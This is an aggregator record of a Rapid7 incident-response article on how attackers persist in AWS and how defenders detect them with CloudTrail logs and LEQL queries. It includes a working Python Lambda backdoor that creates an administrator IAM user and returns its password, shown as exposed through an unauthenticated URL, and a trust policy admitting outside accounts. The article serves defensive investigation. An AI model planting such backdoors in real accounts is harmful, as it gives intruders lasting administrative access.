{"slug": "investigating-persistence-mechanisms-in-aws", "title": "Investigating Persistence Mechanisms in AWS", "summary": "Rapid7's Incident Command team details how attackers establish persistence in AWS environments by creating IAM users and assigning credentials and permissions, emphasizing that undetected persistence poses a fundamental business risk. The report provides detection logic and investigation workflows using CloudTrail logs and LEQL queries to identify malicious IAM actions such as iam:CreateUser, iam:CreateAccessKey, and iam:AttachUserPolicy.", "body_md": "In the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds that survive long after you believe an incident is closed.\n\nPersistence in AWS is not just a technical oversight; it is a fundamental business risk. If you cannot see how an attacker has rooted themselves in your environment, you cannot contain them. This article moves beyond theory to provide the critical detection logic, investigation workflows, and actionable response steps required to hunt down hidden persistence and reclaim your AWS environment. This reference enables Rapid7 [Incident Command](https://www.rapid7.com/products/siem) customers to investigate and understand AWS alert behaviors.\n\nOne of the most common persistence techniques is maintaining access by creating or modifying Identity and Access Management (IAM) users. An attacker can issue the iam:CreateUser API call to create a new IAM user. In addition to establishing persistence, threat actors may use this API call to create a separate user for each collaborator, allowing them to divide work and perform activities independently.\n\nDuring incident investigations, we have observed that malicious iam:CreateUser actions are usually simple and often include only the userName of the newly created user. Example request and response parameters for this API call are shown in Listing 1, where an attacker creates a new IAM user named malicious-user*.*\n\n```\n   \"requestParameters\": {\n      \"userName\": \"malicious-user\"\n    },\n    \"responseElements\": {\n      \"user\": {\n        \"path\": \"/\",\n        \"userName\": \"malicious-user\",\n        \"userId\": \"AIDAS7R4L4RPRYBWCIXXX\",\n        \"arn\": \"arn:aws:iam::123456789012:user/malicious-user\",\n        \"createDate\": \"Mar 9, 2026, 9:16:35 AM\"\n      }\n    },\n```\n\n*Listing 1: Example request and response parameters of the **iam:CreateUser** API call*\n\nCreating an IAM user does not, by itself, provide threat actors with a particularly effective persistence mechanism, because the newly created user has no credentials for authentication and no identity-based policies assigned. Therefore, several follow-up actions usually occur. These actions typically focus on adding credentials and assigning permissions to the newly created user. Specific examples include:\n\niam:CreateAccessKey — Creates a long-term credential for the target IAM user. This may also be used for lateral movement when the source user differs from the target user.\n\niam:CreateConsoleProfile** **— Creates credentials that allow the user to authenticate through the AWS Console interface. Like the previous API call, this may also be used for lateral movement when performed on a different IAM user.\n\niam:AttachUserPolicy — Attaches the specified managed policy to the user.\n\niam:PutUserPolicy — Adds or updates an inline policy document embedded in the specified IAM user.\n\niam:AddUserToGroup — Adds the user to the specified group.\n\nAll of these API calls use standardized request parameters, which makes it possible to investigate actions performed on the newly created user with the following LEQL query:\n\n```\nwhere(service=\"cloudtrail\" and source_json.requestParameters.userName = \"malicious-user\")\n```\n\n*Listing 2: LEQL query for investigating actions performed on an IAM user*\n\nExcluding the source user who originally created the malicious IAM user can help reveal other compromised accounts involved in the activity.\n\nTo get an overview of the most important actions performed on the malicious entity, the following query can be used:\n\n```\nwhere(service=\"cloudtrail\" and source_json.requestParameters.userName = \"malicious-user\" and not source_json.eventName ISTARTS-WITH-ANY [\"Get\", \"List\", \"Describe\"] and source_json.errorCode != /.+/)groupby(source_json.userIdentity.arn, source_json.eventName)\n```\n\n*Listing 3: LEQL query to get an overview of the most important actions performed on the user*\n\nThe query in Listing 3 displays a table of successful actions performed by user identities targeting the compromised user. It filters out common read operations that may occur regularly in the environment and also excludes unsuccessful actions.\n\nIncident Command parses the source user into a separate field, which makes it easy to examine all actions performed by IAM users. To get a list of actions performed by the newly created IAM user, the following LEQL query can be used:\n\n```\nwhere(service=\"cloudtrail\" and source_account = \"malicious-user\")groupby(source_json.eventName)\n```\n\n*Listing 4: LEQL query for actions performed by the user*\n\nWhen investigating and remediating persistence involving newly created IAM users, Rapid7 recommends the following steps:\n\nReview the actions performed by both the newly created IAM user and the user that initiated its creation to understand the scope and intent of the activity.\n\nExamine authentication activity for unusual locations or patterns, and identify any additional resources that may have been accessed by the same threat actor.\n\nWhere possible, apply a deny-all IAM policy to all compromised entities to immediately prevent further malicious actions.\n\nRotate credentials for all compromised accounts to prevent further unauthorized access.\n\nRemove any unknown or unauthorized IAM users to fully remediate persistence.\n\nAn IAM role is an entity that has specific permissions that can be assumed to whoever needs it and has necessary permissions to do so. Roles are intended to provide access to resources to users, applications, and services that normally don’t have access to the required AWS resources. Unlike IAM users, roles do not have long-term access keys so they provide only short-term credentials when they are assumed.\n\nDuring an attack, threat actors can establish persistence by modifying a role's assume role policy. By altering this policy, they can allow users from an attacker-controlled AWS account to assume the role within the victim’s account.This form of persistence can be achieved by creating a fresh new role using iam:CreateRole with already backdoored assume role policy, or via editing an assume role policy that already exists using iam:UpdateAssumeRolePolicy API call. Listing 5 shows an example of an assumed role policy document that allows access from external AWS accounts.\n\n```\n{\n    \"Version\": \"2012-10-17\",\n    \"Id\": \"...\",\n    \"Statement\": [\n        {\n            \"Sid\": \"Statement1\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        },\n        {\n            \"Sid\": \"Statement2\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::222222222222:root\"\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n```\n\n*Listing 5: Assume role policy allows external access*\n\nThe document contains two external account IDs, 111111111111 and 222222222222, and allows anyone with necessary permissions in the attacker's account to assume the role.\n\nIn addition to investigating the user who performed the action to confirm its compromise, there are additional queries that could reveal other potentially malicious activity. The LEQL query in Listing 6 shows all actions performed on the malicious-role that has a suspicious assume role policy statement. The query also filters our common noise in AWS environments.\n\n```\nwhere(service = \"cloudtrail\" and source_json.requestParameters.roleName = \"malicious-role\" and not source_json.userIdentity.invokedBy IIN [\"resource-explorer-2.amazonaws.com\", \"access-analyzer.amazonaws.com\"])\n```\n\n*Listing 6: LEQL query to show actions performed on the suspicious role*\n\nWhen this persistence technique is observed, it’s recommended to search for activity originating from malicious accounts. When iam:AssumeRole action is observed, the returned temporary key can be extracted and its associated activity can be further examined.\n\n```\nwhere(service = \"cloudtrail\" and source_json.userIdentity.accountId IN [\"111111111111\", \"222222222222\"])\n```\n\n*Listing 7: LEQL query showing actions from the suspicious AWS accounts*\n\nAlso, it’s recommended to search for other potentially backdoored policies that may have been created within the environment. The LEQL query in Listing 8 shows a table of principal IDs that wrote the previously identified malicious AWS accounts into specific roles.\n\n```\nwhere(service = \"cloudtrail\"  and source_json.eventName IIN [\"CreateRole\", \"UpdateAssumeRolePolicy\"] and source_json.eventSource = NOCASE(\"iam.amazonaws.com\") and source_json.requestParameters.assumeRolePolicy, source_json.requestParameters.policyDocument ICONTAINS-ANY [\"111111111111\", \"222222222222\"])groupby(source_json.userIdentity.principalId, source_json.requestParameters.roleName)\n```\n\n*Listing 8: LEQL query showing roles with assume role referring to the suspicious AWS accounts*\n\nAWS Lambda is a serverless compute service that allows users to execute code without managing servers. Lambda functions contain code that can be triggered by various AWS services, such as API Gateway, CodeCommit, Config, and others.\n\nThreat actors may abuse Lambda functions to upload malicious code that maintains access to the environment when invoked. The code inside a Lambda function can perform any operation, as long as the function has the necessary permissions assigned to it. However, a common malicious use case is provisioning new privileged IAM users.\n\n``` python\nimport string\nimport boto3\nimport uuid\nimport json\nimport random\n\ndef lambda_handler(event, context):\n    iam = boto3.client('iam')\n\n    user_name = f\"user-{uuid.uuid4().hex[:8]}\"\n    password = ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=10))\n\n    try:\n        response = iam.create_user(UserName=user_name)\n        print(f\"User {user_name} created successfully\")\n\n        iam.create_login_profile(\n            UserName=user_name,\n            Password=password,\n            PasswordResetRequired=False\n        )\n\n        iam.attach_user_policy(\n            UserName=user_name,\n            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'\n        )\n\n        account_id = context.invoked_function_arn.split(\":\")[4]\n        iam_login_url = f\"https://{account_id}.signin.aws.amazon.com/console\"\n\n        return {\n            'statusCode': 200,\n            'body': json.dumps({\n                'message': f'User {user_name} created successfully',\n                'login_url': iam_login_url,\n                'username': user_name,\n                'password': password\n            })\n        }\n    except Exception as e:\n        return {\n            'statusCode': 500,\n            'body': json.dumps({'error': error_message})\n        }\n```\n\n*Listing 9: Backdoor Python Lambda code*\n\nThe code in Listing 9 creates a new IAM user with a login profile and attaches the AdministratorAccess policy to it. The login credentials are returned to the attacker in the response from the Lambda function. To execute, the Lambda function must be triggered. Threat actors may create various triggers depending on how the malicious code operates. In scenarios like the example above, the Lambda function is usually assigned a public URL that a threat actor can call to invoke it.\n\nOne way the function can be invoked via a public URL is by using the lambda:CreateFunctionUrlConfig and lambda:AddPermission sequence. The lambda:CreateFunctionUrlConfig API call takes the function name as an argument and returns the function URL. This URL can then be used by threat actors to invoke the function. The second API call, *lambda:AddPermission*, assigns permission that allows the function to be invoked from the URL.\n\n```\n\"requestParameters\": {\n      \"functionName\": \"backdoor_function\",\n      \"authType\": \"NONE\",\n      \"cors\": {\n        \"allowHeaders\": [\n          \"*\"\n        ], \n        \"allowMethods\": [\n          \"GET\",\n          \"POST\"\n        ], \n        \"allowOrigins\": [\n          \"*\"\n        ] \n      }\n    },\n    \"responseElements\": {\n      \"functionUrl\": \"https://uniqueaddress.lambda-url.us-east-1.on.aws/\",\n      \"functionArn\": \"arn:aws:lambda:us-east-1:123456789012:function:backdoor_function\",\n      \"authType\": \"NONE\",\n      \"cors\": {\n        \"allowHeaders\": [\n          \"*\"\n        ], \n        \"allowMethods\": [\n          \"GET\",\n          \"POST\"\n        ], \n        \"allowOrigins\": [\n          \"*\"\n        ] \n      }\n    }\n```\n\n*Listing 10: Example request and response elements of the *lambda:CreateFunctionUrlConfig* function*\n\n```\n  \"eventSource\": \"apigateway.amazonaws.com\",\n    \"eventName\": \"CreateIntegration\",\n    \"awsRegion\": \"us-east-1\",\n    \"requestParameters\": {\n      \"integrationMethod\": \"GET\",\n      \"integrationType\": \"AWS_PROXY\",\n      \"payloadFormatVersion\": \"2.0\",\n      \"integrationUri\": \"arn:aws:lambda:us-east-1:123456789012:function:backdoor_lambda_function:1\",\n      \"apiId\": \"xxxxxxx\"\n    },\n```\n\n*Listing 11: Part of *apigateway:CreateIntegration* CloudTrail log*\n\nThere are various other ways the backdoor function may be implemented. For example, threat actors may use events:PutRule to set up event-driven execution and then use events:PutTargets to assign the Lambda function as a target. The function may then establish a backdoor and send credentials to attacker-controlled C2 servers.\n\nThis section contains recommended actions and investigation steps to take whenever Incident Command highlights activity originating from a Lambda function as suspicious. During investigations, focus on answering the following questions:\n\nIs the Lambda function known and authorized?\n\nWhat code invoked the suspicious activity?\n\nWho created the Lambda function?\n\nHow was the Lambda function triggered?\n\nWhat actions were performed by the function?\n\nThe LEQL query shown in Listing 12 provides an example that displays successful actions performed by a Lambda function named malicious-function, grouped by event source.\n\n```\nwhere(service = \"cloudtrail\" and source_json.userIdentity.arn ICONTAINS \"/malicious-function\" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)\n```\n\n*Listing 12: LEQL query showing an overview of actions performed by the Lambda function*\n\nMalicious activity performed by Lambda functions can originate from malicious code within the function or from the exploitation of a legitimate application. If malicious code is identified, the user who inserted it is likely to be compromised as well. The query in Listing 13 displays principal IDs and their associated API calls affecting the Lambda function, including the techniques described in this section and function invocation events (lambda:Invoke API call).\n\n```\nwhere(service = \"cloudtrail\" and source_json.requestParameters.functionName,source_json.requestParameters.putIntegrationInput.uri, source_json.requestParameters.integrationUri, source_json.requestParameters.targets.arn ICONTAINS \"malicious-function\" and not source_json.userIdentity.invokedBy IIN [\"resource-explorer-2.amazonaws.com\", \"config.amazonaws.com\"])groupby(source_json.userIdentity.principalId, source_json.eventSource, source_json.eventName)\n```\n\n*Listing 13: LEQL query showing actions performed on the Lambda function*\n\nThreat actors may use the Security Token Service (STS) API call to create a federated user session and maintain access to an AWS environment even after some standard containment actions have been completed. GetFederationToken returns a set of temporary security credentials for a federated user principal. The API call must be made using long-term IAM user credentials, which means activity from a federated user should always be investigated together with the IAM user that created the session.\n\nThis technique is especially important during incident response because disabling or deleting the original access key does not automatically invalidate temporary credentials that have already been issued. Those credentials remain usable until they expire, unless their effective permissions are blocked. As a result, responders should treat the federated session as a separate active identity and investigate both the session activity and the source IAM user activity.\n\nThe effective permissions of a federated user are based on the permissions available to the IAM user that requested the token and any session policies passed in the GetFederationToken request. A session policy cannot grant permissions that the source IAM user does not already have. However, if the compromised IAM user is highly privileged, the resulting federated session may still provide broad access to the environment.\n\nWhen Incident Command alerts on suspicious activity performed by a federated user, the userIdentity field in CloudTrail may look similar to the example below:\n\n```\n\"userIdentity\": {\n  \"type\": \"FederatedUser\",\n  \"principalId\": \"123456789012:None\",\n  \"arn\": \"arn:aws:sts::123456789012:federated-user/None\",\n  \"accountId\": \"123456789012\",\n  \"accessKeyId\": \"ASIAS8T6L4RPJJGXXXX\",\n  \"sessionContext\": {\n    \"sessionIssuer\": {\n      \"type\": \"IAMUser\",\n      \"principalId\": \"AIDAIT67N6AB4IH6XXXXX\",\n      \"arn\": \"arn:aws:iam::123456789012:user/compromisedUser\",\n      \"accountId\": \"123456789012\",\n      \"userName\": \"compromised_user\"\n    },\n    \"attributes\": {\n      \"creationDate\": \"2026-04-11T09:13:11Z\",\n      \"mfaAuthenticated\": \"false\"\n    }\n  }\n},\n```\n\nListing 14: userIdentity field of an event performed by a federated user\n\nIn this example, the federated user name is None, which comes from the name parameter supplied to STS. The sessionContext.sessionIssuer field identifies the IAM user that created the federated session. This is the most important pivot point during the investigation because the source IAM user is likely to be compromised.\n\nTo review successful actions performed by the federated user, defenders can use the following LEQL query:\n\n```\nwhere(service = \"cloudtrail\" and source_json.userIdentity.arn = \"arn:aws:sts::123456789012:federated-user/None\" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)\n```\n\n*Listing 15: LEQL query showing all successful actions performed by the federated user*\n\nTo focus on higher-signal activity, defenders can exclude common enumeration actions:\n\n```\nwhere(service = \"cloudtrail\" and source_json.userIdentity.arn = \"arn:aws:sts::123456789012:federated-user/None\" and source_json.errorCode != /.+/ and not source_json.eventName ISTARTS-WITH-ANY [\"Get\", \"List\", \"Describe\"])groupby(source_json.eventSource, source_json.eventName)\n```\n\n*Listing 16: LEQL query showing successful non-enumeration actions performed by the federated user*\n\nWhen reviewing actions performed by federated users, pay close attention to activity involving IAM, CloudTrail, GuardDuty, Organizations, KMS, Secrets Manager, S3, Lambda, and EC2. IAM activity is particularly important. Federated user credentials cannot call IAM APIs via AWS CLI and AWS API, but this limitation does not apply to AWS Management Console sessions. Therefore, successful IAM activity associated with a federated user may indicate that the threat actor generated console access by using the signin:GetSigninToken and signin:ConsoleLogin API sequence.\n\nDefenders can review sts:GetFederationToken calls to review federated tokens creations performed by the source user. The API calls may be further scoped down by adding source_json.responseElements.credentials.accessKeyId = “malicious_access_key”, which will display the exact API call that was used to obtain the temporary token. This may be useful when determining Initial Access Vector, as the API call may contain the initially leaked long-term credentials.\n\n```\nwhere(service = \"cloudtrail\" and action = \"GetFederationToken\" and source_json.eventSource = \"sts.amazonaws.com\" and source_json.requestParameters.name = \"None\" and source_json.userIdentity.userName = \"compromised_user\")\n```\n\n*Listing 17: LEQL query showing the *GetFederationToken* event that created the federated user credentials*\n\nDuring the investigation, responders should focus on answering the following questions:\n\nWhich IAM user created the federated session?\n\nWhat actions did the federated user perform after the token was issued?\n\nDid the actor use the federated session to access the AWS Management Console?\n\nDid the federated user create or modify additional persistence mechanisms?\n\nWhat other suspicious activities were performed?\n\nWhen compromise is confirmed, Rapid7 recommends the following steps:\n\nApply a deny-all policy to the IAM user that created the federated session. Keep the deny in place until the federated credentials have expired.\n\nRotate or delete all affected access keys associated with the compromised IAM user.\n\nRemove any additional persistence that might have been created.\n\nAWS persistence often relies on abusing legitimate identity and automation features such as IAM users, access keys, assume role policies, Lambda functions, and federated user sessions. Many malicious activities are made possible by overly permissive policies, so organizations should regularly review IAM permissions, trust policies, and resource-based policies, and use Service Control Policies to enforce preventative guardrails across AWS accounts.\n\nEffective detection and response requires pivoting from the alerted activity to related identities, credentials, sessions, policies, and resources to determine whether additional persistence exists. [Rapid7 MDR](https://www.rapid7.com/services/managed-detection-and-response-mdr/) provides comprehensive detection and incident response services to help organizations identify suspicious AWS activity, contain compromised identities, and harden cloud environments against repeat abuse.", "url": "https://wpnews.pro/news/investigating-persistence-mechanisms-in-aws", "canonical_source": "https://www.rapid7.com/blog/post/dr-investigating-aws-persistence-mechanisms", "published_at": "2026-07-15 13:00:00+00:00", "updated_at": "2026-07-23 03:07:37.671810+00:00", "lang": "en", "topics": ["ai-safety"], "entities": ["Rapid7", "AWS", "IAM", "CloudTrail"], "alternates": {"html": "https://wpnews.pro/news/investigating-persistence-mechanisms-in-aws", "markdown": "https://wpnews.pro/news/investigating-persistence-mechanisms-in-aws.md", "text": "https://wpnews.pro/news/investigating-persistence-mechanisms-in-aws.txt", "jsonld": "https://wpnews.pro/news/investigating-persistence-mechanisms-in-aws.jsonld"}}